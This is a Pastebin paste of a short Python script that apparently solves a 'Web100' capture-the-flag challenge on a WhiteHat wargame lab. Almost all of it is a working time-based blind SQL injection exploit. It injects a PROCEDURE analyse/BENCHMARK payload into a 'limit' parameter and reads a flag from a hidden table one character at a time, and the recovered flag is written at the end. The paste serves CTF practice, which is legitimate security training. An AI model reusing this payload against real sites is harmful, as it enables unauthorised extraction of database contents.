PhieuLang

Web100

Apr 25th, 2015
233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.92 KB | None | 0 0
  1. import requests as re
  2. import time
  3.  
  4. table=""
  5. temp2=""
  6. sample="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_"
  7. url="http://lab10.wargame.whitehat.vn/contests/9/web100_d7aff695d22e3c1f939f6900aac8da51/"
  8.  
  9. for z in range(1,60):
  10.      print z
  11.      for i in sample:
  12.         temp2=i
  13.         temp={"keyword":"football","limit":"1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(binary MID((select flag from hidden limit 0,1),"+str(z)+",1) LIKE '"+temp2+"', BENCHMARK(10000000,SHA1(1)),1))))),1)","find":"abc"}
  14.         #print temp
  15.         start=int(time.time())
  16.         r=re.post(url,data=temp)
  17.         end=int(time.time())
  18.         lapse=end-start
  19.         #print "start:"+str(start)+"/end:"+str(end)+"/lapse:"+str(lapse)
  20.         if lapse>=5:
  21.                 table=table+i
  22.                 print table
  23.                 break
  24.                
  25. #flag: WhiteHat{fc8a521f27e621aeb9b10fd007092bfc3132496a}
Advertisement
Add Comment
Please, Sign In to add comment